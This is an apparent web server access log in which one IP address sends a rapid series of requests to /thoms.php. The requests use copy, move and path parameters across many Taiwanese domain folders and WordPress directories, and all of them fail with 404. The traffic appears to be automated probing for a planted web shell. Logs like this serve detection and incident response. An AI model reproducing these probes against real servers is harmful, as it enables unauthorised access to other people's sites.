45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:54 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:55 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:56 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:57 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:58 -0400] "GET /thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
